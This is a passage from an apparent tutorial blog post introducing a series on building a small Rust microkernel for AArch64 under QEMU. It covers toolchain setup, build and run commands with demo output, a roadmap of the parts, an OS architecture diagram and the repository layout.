&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Add the AArch64 bare-metal target&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustup target add aarch64-unknown-none&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Verify it works:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ rustc --version
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustc 1.86.0-nightly &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;5765cbc51 2025-01-28&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ rustup target list --installed | grep aarch64
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;aarch64-unknown-none&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&#34;52-install-qemu&#34;&gt;5.2 Install QEMU&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Ubuntu/Debian&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install qemu-system-aarch64
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# macOS&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;brew install qemu
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Verify&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ qemu-system-aarch64 --version
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;QEMU emulator version 8.2.2 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;Debian 1:8.2.2+ds-0ubuntu1.4&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&#34;53-clone-and-build&#34;&gt;5.3 Clone and build&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ git clone https://github.com/bahree/rust-microkernel.git
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ &lt;span style=&#34;color:#91d7e3&#34;&gt;cd&lt;/span&gt; rust-microkernel
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ ./scripts/build-aarch64-virt.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;[&lt;/span&gt;virt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]&lt;/span&gt; building aarch64 QEMU virt ELF &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;default features&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Finished &lt;span style=&#34;color:#a6da95&#34;&gt;`&lt;/span&gt;release&lt;span style=&#34;color:#a6da95&#34;&gt;`&lt;/span&gt; profile &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;[&lt;/span&gt;optimized&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]&lt;/span&gt; target&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;s&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; in 0.28s
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;[&lt;/span&gt;virt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]&lt;/span&gt; wrote dist/virt/os-aarch64-virt.elf&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&#34;54-run-it&#34;&gt;5.4 Run it&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ ./scripts/run-aarch64-virt.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustOS: aarch64 QEMU virt boot OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustOS: memory management demo &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;frames + page tables&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mm: demo start
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mm: &lt;span style=&#34;color:#f4dbd6&#34;&gt;kernel_end&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;0x000000004009A010
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mm: &lt;span style=&#34;color:#f4dbd6&#34;&gt;free_start&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;0x000000004009B000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mm: &lt;span style=&#34;color:#f4dbd6&#34;&gt;ram_end&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;0x0000000050000000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mm: &lt;span style=&#34;color:#f4dbd6&#34;&gt;frame0&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;0x000000004009B000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mm: &lt;span style=&#34;color:#f4dbd6&#34;&gt;frame1&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;0x000000004009C000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mm: &lt;span style=&#34;color:#f4dbd6&#34;&gt;read0&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;0x00000000AABBCCDD
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mm: &lt;span style=&#34;color:#f4dbd6&#34;&gt;read1&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;0x0000000011223344
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mm: &lt;span style=&#34;color:#f4dbd6&#34;&gt;ttbr0&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;0x0000000040085000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mm: &lt;span style=&#34;color:#f4dbd6&#34;&gt;test_va&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;0x0000000080000000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mm: enabling MMU &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;caches off&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mm: &lt;span style=&#34;color:#f4dbd6&#34;&gt;test_va_read&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;0x00000000DEADBEEF
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mm: demo &lt;span style=&#34;color:#c6a0f6&#34;&gt;done&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;MMU is ON&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Press &lt;code&gt;Ctrl+A&lt;/code&gt; then &lt;code&gt;X&lt;/code&gt; to exit QEMU.&lt;/p&gt;
&lt;figure id=&#34;fig1&#34;&gt;
&lt;img src=&#34;images/demo-memory.png&#34; alt=&#34;Memory demo: kernel boots, allocates frames, builds page tables, enables the MMU, and reads back through a translated virtual address&#34; title=&#34;Memory demo: kernel boots, allocates frames, builds page tables, enables the MMU, and reads back through a translated virtual address&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 1:&lt;/strong&gt; Memory demo output showing frame allocation, page table construction, MMU enablement, and virtual address translation.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;If you see that output, congratulations. You just ran an operating system kernel that booted on bare metal, allocated physical memory frames, built 4-level page tables, enabled the MMU, and successfully translated a virtual address from a few shell commands.&lt;/p&gt;
&lt;h3 id=&#34;55-try-the-other-demos&#34;&gt;5.5 Try the other demos&lt;/h3&gt;
&lt;p&gt;The codebase has multiple demos you can build with feature flags:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# IPC + cooperative scheduling (Part 2)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ ./scripts/build-aarch64-virt.sh demo-ipc &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; ./scripts/run-aarch64-virt.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustOS: aarch64 QEMU virt boot OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustOS: IPC + cooperative scheduling demo
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustOS: kernel online
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustOS: microkernel step &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;IPC + cooperative scheduling&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sched: starting
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;task/ping: poll
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;task/ping: sent ping
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;task/pong: got ping
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Preemptive multitasking (Part 3)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ ./scripts/build-aarch64-virt.sh demo-preempt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; ./scripts/run-aarch64-virt.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustOS: aarch64 QEMU virt boot OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustOS: preemptive multitasking demo
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;A
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;B
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;A
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;B
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;A
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;B
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure id=&#34;fig2&#34;&gt;
&lt;img src=&#34;images/demo-ipc.png&#34; alt=&#34;IPC demo: ping and pong tasks exchanging messages through the mailbox router&#34; title=&#34;IPC demo: ping and pong tasks exchanging messages through the mailbox router&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 2:&lt;/strong&gt; IPC demo showing ping and pong tasks exchanging messages through the mailbox router.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure id=&#34;fig3&#34;&gt;
&lt;img src=&#34;images/demo-preempt.png&#34; alt=&#34;Preempt demo: two threads alternating without ever yielding, proving the OS is in control&#34; title=&#34;Preempt demo: two threads alternating without ever yielding, proving the OS is in control&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 3:&lt;/strong&gt; Preempt demo showing two threads alternating without ever yielding, proving the OS is in control.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;If all three demos work, your environment is fully set up and ready for the series.&lt;/p&gt;
&lt;h3 id=&#34;56-docker-no-local-setup&#34;&gt;5.6 Docker (no local setup)&lt;/h3&gt;
&lt;p&gt;If you just want to try it without installing anything:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker pull amitbahree/rust-microkernel:latest
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run -it amitbahree/rust-microkernel:latest
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Inside the container:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./scripts/build-aarch64-virt.sh &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; ./scripts/run-aarch64-virt.sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;x86_64 and Raspberry Pi builds also exist in the repository. Run &lt;code&gt;./scripts/build-x86.sh&lt;/code&gt; or &lt;code&gt;./scripts/build-rpi.sh&lt;/code&gt; if you want to try them. They share the same kernel logic but use different boot code and hardware drivers.&lt;/p&gt;
&lt;h2 id=&#34;6-series-roadmap&#34;&gt;6. Series roadmap&lt;/h2&gt;
&lt;p&gt;Here&amp;rsquo;s what each part covers and why it comes in that order. Each part builds on the previous one. You can&amp;rsquo;t preempt tasks without interrupts. You can&amp;rsquo;t isolate processes without virtual memory. The ordering isn&amp;rsquo;t arbitrary.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Part 0: Why build an OS from scratch?&lt;/strong&gt; (you are here) — The overview. What we&amp;rsquo;re building, why, and how the pieces fit together.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Part 1: Foundations&lt;/strong&gt; — How a CPU goes from power-on to running your first line of Rust. AArch64 boot assembly that drops from EL2 to EL1, stack setup, BSS zeroing, PL011 UART driver, and the platform abstraction (HAL) that keeps the kernel hardware-agnostic.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Part 2: Communication&lt;/strong&gt; — Message-passing IPC with a mailbox router. Tasks implement a &lt;code&gt;poll()&lt;/code&gt; method, the scheduler calls them round-robin, and we build PingTask/PongTask to show communication in action. Plus why cooperative scheduling has limits (one misbehaving task freezes everything).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Part 3: Concurrency&lt;/strong&gt; — The big one. ARM Generic Timer, GICv2 interrupt controller, periodic timer interrupts, and a preemptive scheduler that saves all 31 registers plus SP, ELR, and SPSR. Two threads print &amp;ldquo;A&amp;rdquo; and &amp;ldquo;B&amp;rdquo; without ever yielding, proving the OS is in control.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Part 4: Memory and beyond&lt;/strong&gt; — Virtual memory from the ground up. Bump allocator for physical frames, 4-level page tables (L0/L1/L2/L3), MMU configuration with MAIR, TCR, and TTBR0, and address translation verified by writing through a virtual address and reading back through the physical one. Ends with reflections and where to go next.&lt;/p&gt;
&lt;h2 id=&#34;7-the-big-picture-what-makes-an-operating-system&#34;&gt;7. The big picture: what makes an operating system?&lt;/h2&gt;
&lt;p&gt;Before we start building, let&amp;rsquo;s understand what we&amp;rsquo;re aiming for. An operating system has many layers, and we&amp;rsquo;re focusing on the foundational ones that everything else depends on.&lt;/p&gt;
&lt;h3 id=&#34;71-complete-os-architecture&#34;&gt;7.1 Complete OS architecture&lt;/h3&gt;
&lt;figure class=&#34;align-center &#34; id=&#34;fig5&#34;&gt;
    &lt;pre class=&#34;mermaid&#34;&gt;graph TB
    subgraph &amp;#34;User Space (Ring 3 / EL0)&amp;#34;
        Apps[Applications&amp;lt;br/&amp;gt;ls, cat, browser, games]
        Libs[Standard Libraries&amp;lt;br/&amp;gt;libc, libstd]
        Shell[Shell&amp;lt;br/&amp;gt;bash, zsh]
    end

    subgraph &amp;#34;Kernel Space (Ring 0 / EL1)&amp;#34;
        subgraph &amp;#34;System Call Interface&amp;#34;
            Syscalls[System Calls&amp;lt;br/&amp;gt;open, read, write, fork]
        end

        subgraph &amp;#34;Process Management&amp;#34;
            Sched[Scheduler&amp;lt;br/&amp;gt;Round-robin, CFS, priorities]
            IPC[IPC&amp;lt;br/&amp;gt;Message passing, pipes, signals]
            Proc[Process Table&amp;lt;br/&amp;gt;PIDs, state, resources]
        end

        subgraph &amp;#34;Memory Management&amp;#34;
            VMM[Virtual Memory&amp;lt;br/&amp;gt;Page tables, TLB, swapping]
            Heap[Heap Allocator&amp;lt;br/&amp;gt;malloc/free, buddy system]
            MMU[MMU Control&amp;lt;br/&amp;gt;TTBR, page faults]
        end

        subgraph &amp;#34;File Systems&amp;#34;
            VFS[VFS Layer&amp;lt;br/&amp;gt;Common file API]
            FS[File Systems&amp;lt;br/&amp;gt;ext4, FAT, NTFS]
            Cache[Page Cache&amp;lt;br/&amp;gt;Read-ahead, write-back]
        end

        subgraph &amp;#34;Device Drivers&amp;#34;
            Block[Block Devices&amp;lt;br/&amp;gt;Disk, SSD, NVMe]
            Net[Network&amp;lt;br/&amp;gt;Ethernet, WiFi, TCP/IP]
            Char[Character Devices&amp;lt;br/&amp;gt;UART, keyboard, mouse]
            GPU[Graphics&amp;lt;br/&amp;gt;Framebuffer, GPU drivers]
        end

        subgraph &amp;#34;Core Kernel - WHAT WE BUILD&amp;#34;
            Boot[Boot&amp;lt;br/&amp;gt;Platform init, entry]
            Int[Interrupts&amp;lt;br/&amp;gt;Timer, exceptions, GIC/PIC]
            Ctx[Context Switch&amp;lt;br/&amp;gt;Save/restore registers]
            Mem[Physical Memory&amp;lt;br/&amp;gt;Frame allocator]
        end
    end

    subgraph &amp;#34;Hardware&amp;#34;
        CPU[CPU&amp;lt;br/&amp;gt;Cores, caches, MMU]
        RAM[RAM&amp;lt;br/&amp;gt;Physical memory]
        Disk[Storage&amp;lt;br/&amp;gt;HDD, SSD]
        Devices[Peripherals&amp;lt;br/&amp;gt;UART, Timer, GPIO]
    end

    Apps --&amp;gt; Syscalls
    Libs --&amp;gt; Syscalls
    Shell --&amp;gt; Syscalls

    Syscalls --&amp;gt; Sched
    Syscalls --&amp;gt; VMM
    Syscalls --&amp;gt; VFS

    Sched --&amp;gt; Ctx
    Sched --&amp;gt; Proc
    Sched --&amp;gt; IPC

    VMM --&amp;gt; MMU
    VMM --&amp;gt; Heap
    VMM --&amp;gt; Mem

    VFS --&amp;gt; FS
    VFS --&amp;gt; Cache
    FS --&amp;gt; Block

    Block --&amp;gt; Devices
    Net --&amp;gt; Devices
    Char --&amp;gt; Devices
    GPU --&amp;gt; Devices

    Int --&amp;gt; CPU
    Ctx --&amp;gt; CPU
    MMU --&amp;gt; CPU
    Mem --&amp;gt; RAM
    Boot --&amp;gt; CPU

    style Boot fill:#e8f5e8
    style Int fill:#e8f5e8
    style Ctx fill:#e8f5e8
    style Mem fill:#e8f5e8
    style IPC fill:#fff4e1
    style Sched fill:#fff4e1
    style VMM fill:#fff4e1&lt;/pre&gt;
    &lt;figcaption&gt;Figure 5: Complete OS architecture showing what we build&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Look at that diagram. It&amp;rsquo;s a lot. But here&amp;rsquo;s the thing: we&amp;rsquo;re only building the green and yellow boxes at the bottom. Boot, interrupts, context switching, physical memory, IPC, scheduling, and virtual memory. That&amp;rsquo;s the core kernel layer, the absolute foundation that every OS needs. These aren&amp;rsquo;t optional features you can skip. They&amp;rsquo;re the bedrock on which everything else is built.&lt;/p&gt;
&lt;h3 id=&#34;72-what-we-build-the-foundation&#34;&gt;7.2 What we build (the foundation)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Boot sequences&lt;/strong&gt; (Part 1) are how a computer goes from pressing the power button to running your kernel&amp;rsquo;s first line of code. It&amp;rsquo;s the handoff between hardware/firmware and your operating system. On ARM, this means handling exception levels (EL2 hypervisor to EL1 kernel), setting up a stack, zeroing the BSS, and enabling floating-point instructions before the LLVM-generated code can run. Get any step wrong, and the CPU hangs silently.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;IPC and scheduling&lt;/strong&gt; (Parts 2 and 3) are how multiple tasks run on a single CPU core. The scheduler decides who runs when. IPC lets tasks communicate without sharing memory. We start with cooperative scheduling (tasks voluntarily yield) and upgrade to preemptive scheduling (the OS is in control). This requires context switching: saving all 31 ARM registers, the stack pointer, the return address, and the CPU flags, then loading another task&amp;rsquo;s saved state.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Interrupts and exceptions&lt;/strong&gt; (Part 3) are hardware signals that tell the CPU, &amp;ldquo;stop what you&amp;rsquo;re doing and handle this NOW.&amp;rdquo; The timer fires, interrupt! Without interrupts, your OS would have to constantly poll hardware (&amp;ldquo;Are you done yet? How about now?&amp;rdquo;), wasting billions of CPU cycles. And you&amp;rsquo;d have no way to switch between tasks forcibly. Interrupts are the foundation for everything asynchronous in a computer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Memory management&lt;/strong&gt; (Part 4) is the illusion that each program has its own private address space. The MMU (Memory Management Unit) translates every address using page tables, a 4-level tree structure that maps virtual addresses to physical ones. We build those tables, configure the MMU, and enable translation. After that, every memory access your code makes goes through hardware that we configured.&lt;/p&gt;
&lt;h3 id=&#34;73-what-we-dont-build&#34;&gt;7.3 What we don&amp;rsquo;t build&lt;/h3&gt;
&lt;p&gt;We skip filesystems, networking, user mode, multicore, and security hardening. Not because they&amp;rsquo;re unimportant, but because they all build on the foundation we&amp;rsquo;re teaching. You can&amp;rsquo;t write a filesystem without memory management. You can&amp;rsquo;t implement a network stack without interrupts. You can&amp;rsquo;t add user mode without understanding privilege levels and page tables. Part 4 points you to resources for going deeper into each of these areas.&lt;/p&gt;
&lt;h2 id=&#34;8-repository-structure&#34;&gt;8. Repository structure&lt;/h2&gt;
&lt;p&gt;The full source code is at &lt;a
	
		href = &#34;https://github.com/bahree/rust-microkernel&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		github.com/bahree/rust-microkernel
	&lt;/span&gt;
&lt;/a&gt;. Here&amp;rsquo;s how it&amp;rsquo;s organized, focused on the AArch64 virt platform that the blog series covers:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rust-microkernel/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── crates/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── kernel/                 # Platform-agnostic kernel logic
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   │   ├── lib.rs              # Entry point (kmain)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   │   ├── ipc.rs              # Message-passing router
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   │   └── sched.rs            # Cooperative scheduler
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── hal/                    # Hardware abstraction layer
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   │   ├── log.rs              # Logger trait
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   │   └── arch.rs             # Architecture primitives (halt)
